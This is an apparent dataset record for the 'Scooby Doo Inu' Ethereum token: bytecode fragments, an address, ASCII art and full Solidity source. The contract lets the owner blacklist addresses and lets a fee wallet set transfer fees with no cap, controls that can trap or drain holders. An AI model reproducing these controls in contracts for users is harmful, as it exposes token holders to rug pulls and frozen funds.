86612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122063f00d2f05e6d02e2e164cfd7a95842b4680c7b0a9660a28a3bc82b31ac71b0064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,841
0xF01B28B4e9Bdb9229273EdA317cD540270E362D9
// SCOOBY DOOBY DOO INU // ##########################################%###%################################################&@@@@&@@@@%%#%####%############################################## // ############################################&&@@@%############################################&@@(((((((#&@&#################################################### // ###########################################@@@&%&@@%##########################################&@(((((#((((((&@@%#%############################################## // ##########################################&@&((((/#@&########################################%@&(((((&@#(((((((#%&@&%########################################### // ##########################################%@&((((((#@&#######%%%%%%###########################@%(((((%%,&#/((((((((((#@@&%###################################### // ##########################################%&@%(((((((%@&%&@@%%#%@@@@%#%#######%&&&%%##########&&(((((#&,./@%((((((((((((%@@%#################################### // ############################################&@%(((%&%#/((((((((((#&@@%####%#%@@@@@@@@@@@@@@@&##&#(((((%(...,@@@&%((((((#@@@&#################################### // #############################################%@&#@#..,&%(((((((((((%@@%###&@@@%((((&@@&(((((((#%&#(((((&#..##(((#&@@@@@@@&%##################################### // ###############################################&@@/.....%%((((((((((%@&%&@&(((((((((((((((((((((((((((((##.&((((((#@&####%###################################### // #################################################%@@%/ ..,%((((((((#&@@@&(((((&#/*/%&(/(((((((((((((((((((&%(((((((&@&########################################## // ########%####%####################################&@((%&@&#%&(((/#@@@@%(((((%# ,&(((((((((((((((((((/(((((((%@@&%######################################### // #####%@@@@@@@@&%##################################&@&((((((/(#&#/&@@%(((((((&. (((((((((((((((((/(((((((%@@@%########################################### // #######%@@@@@@@@&%###%&%##########%###############%@@&((((((((((%@@#(%%%%(((&. *@@@# (((((((((((((((((((((#%&@&############################################### // #######%&@@@@@@@@@&##%@@@@@&####%&@@@&%############%@@@@@@@&&&&&&@%%, .&((%, .&@@#/(((((((((((((((((((((((((%@@%############################################ // ##########%@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@&%####################%@&@. *&&*,(((((##(((((((((((((((((((((((((((((((#&@@%#%######################################## // #############%%&@@@@@@@@@@@@@@@@@@@@@@&#####%#################%@@(&* (@@@%((((((((%&&&&#((((((((((((((((((((((((((%@@@%##############################%%######## // #################%@@@@@@@@@@&&&@@%######################%###%&@&((((%/,(&#((((((((((((((((((((((#&&&%%&#((((((((((((#@@@%###########################&@@%%####### // #################%##@@@@&%#####################%###%&@@@@@@@@@@@@&%%##((/(((((((((((((((((((((((((((%%(((((((((((((((#@@@&#######%&%##%############&@@@@@####### // ###################%%%#%#######################%&@@@@%((((((((((((((((((((((((((((((((((((((((((((((((&#(((((((((((((((@@@&#######%@@@&%##########%@@@@@@&###### // #############################################%@@@@@@@@@@@@@@@&&#(((((((((((((((((((((((((((((((((((((((@#((((((((((((((#@@@&######@@@@@@&##########%@@@@@@&##### // ##########################################%&@@@@@@@@@@@@@@@@@@@@@@@%(((((((((((((((((((((((((((((((((((%&(((((((((((((((&@@@%#####%@@@@@@%##########&@@@@&###### // #####################################%#%&@@@@@@@@@@@@@@@@@@@@@@@@@@@&((((((((((((((((((((((((((#(((((((%&#(((((((((((((((@@@@%####@@@@@@@&##%###%@%&@@@@@&###### // ######################################&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&(((((((((((((((((((((((((((@@@&%%&@%((((((((((((((((%@@@&######%@@@@@@@&@@@@@@@@@@@%####### // #####################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&((((((((/((((((((((((((((((((%#(((((((((((((((((((((((@@@&#####%#%@@@@@@@@@@@@@@@@@&#%###### // ####################################%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%(((((((((((##((((((((((((((((((%&((((((((((((#(((((((((&@@@###########&@@@@@@@@@@@&%######### // ##################################%#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@((((((((((((((((((((((((((((((((((%&(((((((((((%(((((((((%@@@%############%%&@@@@@&############ // ##################################%@@@&@@@@@@@@@@@@@@@@@@@@@@@@%((((((((((((((((((((((((((((((((((((@%(((((#(((#&(((((((((%@@@%##################&&############# // #################################%@@@((((&@@@@@@@@@@@@@@@@@@@@((/(((((((((((((((((((((#&#/((((((((((@&(((((%(((#&(((((((((#@@@%###################%############# // #################################&@@%(((((((#&@@@@@@@@@@@@@@%((((((((((((((((((((((((((((((((((((((#@#(((((%%/(@%(((((((((#@@@%################################# // #################################&@@&((((((/(((((/(%&@@@@@@/((((((((((((((((%&%/((((((((((((((((((#@&((((((%&(%&((((((((((%@@@################################## // #################################%@@@#((((%%((((((((((((((#@#((((((((((((((((((((((((((((((((((((#&&(((((((%@%@#((((((((((%@@@################################## // ###################################%@@@%(/(#(((((/((((((((((&%((((((((((((((((((((((((((((((((((&@%((((((((%@@#(((((((((((&@@&################################## // ######################################%&@@@&#((((((((((((((((%&#((((((((((((((((((((((((((((((%@&#/((((((((&@#(((((((((((#@@@%################################## // ####&@@@&###########&@&####################%&&@@@@%#(((((((((((&@#(((((((((((((((((((((((((%@@&(((((((((((#@#((((((((((((#@@@%################################## // &@@@@@@@@@@@@&%#####%@@&%##########################%%&@&%##((((((#&@&%#((((((((((((((((#&@@@%(((((((((((((&&(((((((((((((&@@&################################### // @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%######################%@&#(((((((#@#((#%@@@@@@@@@@@@@@@@&#((((((/(((((((/#@%(((((((((((((@@@#################################### // @@@@@@@@@@@@@@@@@@@@@@@@@@@&%%##########################%@@@@@@@@#((((((#&(((((###%##((((((((((((((((((((&%(((((((((((((%@@&#################################### // @@@&%%&@@@@@@@@@@@@@@@@@@@@@%################################&@%@%((((((((((((((((((((#/((((((((((((((((&&((((((((((((((@@@##################################### // ###%#########%%&@@@@@@@@@@@@@@@%############################%@@#(&&#(((((((((((((((((#%#(((((((((((((((&@((((((((((((((&@@%##################################### // ################&@@@@@@@@@@@@@@@@@%#########################@@%(((&@@%((((((((((#%&@&#((((((((((((((/#@&((((((((((((((#@@&###################################### // ################&@%###%@@@@@@@@@@@@@@&&####################@@#((((((@#%@@@@@@@@&%((((((((((/##(((((#@@%(((((((((((((((@@@####################################### // #######################%##&@@@@@@@@@@@%##############%####&@%(/((((#@#((/((((((((((((((((((((((/#&@&#((((((((((((((((%@@%####################################### // ##########################%&@@@@@@@@@@%##################&@#(((###%%&@@&%(((((((((((((((((((#&@@@#(((((((((((((((((((@@&######################################## // ###########################%#%@@@@@@@@##################@@#(((((((((/#&@@&##((((((((((#%&@@@&%((((((((((((((((((((((@@&######################################### // #############################%@@@@@@@#############&@(##&&(((((((((((##(((#%&@@@@@@@@@&%#(((((((((((((((((((((((((((&@&########################################## // ################################@@@&############%@#%%&@%((((((((((((((((((((((((((((((((((((((((((((((((((((((((((#@@%########################################## // ################################%&%#############@#///%%&&(((((((((((((((((((((((((((((((((((((((((((((((((((((((((@@%########################################### // ##############################################%@#(///(/(%#&&%%&%%%%#(((((((((((((((((((((((((((((((((((((((((((((@@%/%&######################################### // ##############################################&@#////////%(,*%&&#&&#@#(((((((((((((((((((((((((((((((((((((##%&&%##%&@@%######################################## // ########################################%##%&@&&&@#////%(,(%(/////(#%%%%%%#%%%&@&&&@@&&&&&&@&&&&&%%%#####%%%%%%#(////@&######################################### // #######################################&@@&#((((((%@@#&(,&((////////////////////////////////////////////////////////&@%######################################### // ###################################%@@&#(((((((((((((#@,(&/////////////////////////////////////////////////////////#@%########################################## // ###############################&@@&#(((((((((((((((((/@*(&#@@&&%(///////////////////////////////////////////////#&@@%#%######################################### // ###########################%&@@%(((((((((((((((((((((#%%*(%/#%%%/%&&@@@@&&%##((#(((//////////(////(((##%%&@@@&&@@%############################################## // ######################%&@@@@#(((((((((((((((((((%@%//#&%(%&%##&%((/((((((((((((((###%%%%%%%%%%#####((((((((((((&@%############################################## // ##################%@@@@@@%(((((((((((((((((((&(#&%#(#(*/((%(%*%#(((((((((((((((((((((((((((((((((((((((((((((((#@&############################################## // ##############&@@&#&@@#((((((((((((((((((((((%/%#/(/&/#(#..%#&,%#(((((((((((((((((((((((((((((((((((((((((((((((&@%############################################# // ##########%@@@%(%@@&(((((((((((((((((((((((((#(*&#,,(%&*,*..##%,@#((((((((((((((((((((((((((((((((((((((((((((((%@&############################################# // ###%###&@@&#((&@@%(((((((((((((((((((((((((((#%*%%#(#/*%%((&&(*.*&(((((((((((((((((((((((((((((((/((((((((((((((#@@%############################################ // ####&@@@#((#@@@%((((((/(((((((((((((((((((((((&,%(/##%%(*,,*(%&%(((((((((((((((((((((((((((((((#%%#((((((((((((((&@&############################################ // #%@@@%((((@@@%((((((((((((((((((((((((((((((((&(//,,,*%@&%(((((((((((((((((((((((((((((((((#&&#((((((((((((((((((#@@%########################################### // @@&#((((&@@%((((((((((((((((((((((((((((((((((%&%&%%((((/(((((((((((((((((((((((((((((((%@@#((((((((((((((((((((((%@@#%######################################### // @&((((#@@@(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((/(%@@@(((((((((((((((((((((((((#@@%########################################## // @#(((&@@%((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((&@@&((((((((((((((((((((((((((((%@@########################################## //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ScoobyDooInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0xfC6507dcC14FDd39B9076bd91D1c9B7e9D54e446); address payable private _feeAddrWallet2 = payable(0xfC6507dcC14FDd39B9076bd91D1c9B7e9D54e446); string private constant _name = "Scooby Doo Inu"; string private constant _symbol = "SCOOBYDOO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b55565b60405180910390f35b34801561015b57600080fd5b506101766004803603810190610171919061267f565b610492565b6040516101839190612b3a565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612cd7565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061262c565b6104c4565b6040516101eb9190612b3a565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612592565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612d4c565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612708565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612592565b6107ba565b6040516102bc9190612cd7565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612762565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612a6c565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612b55565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061267f565b610a65565b60405161038f9190612b3a565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126bf565b610a83565b005b3480156103cd57600080fd5b506103d6610bad565b005b3480156103e457600080fd5b506103ed610c27565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612762565b611189565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125ec565b61122a565b60405161044c9190612cd7565b60405180910390f35b60606040518060400160405280600e81526020017f53636f6f627920446f6f20496e75000000000000000000000000000000000000815250905090565b60006104a661049f6112b1565b84846112b9565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d1848484611484565b610592846104dd6112b1565b61058d8560405180606001604052806028815260200161342a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119629092919063ffffffff16565b6112b9565b600190509392505050565b6105a56112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c37565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112b1565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119c6565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac1565b9050919050565b6108136112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff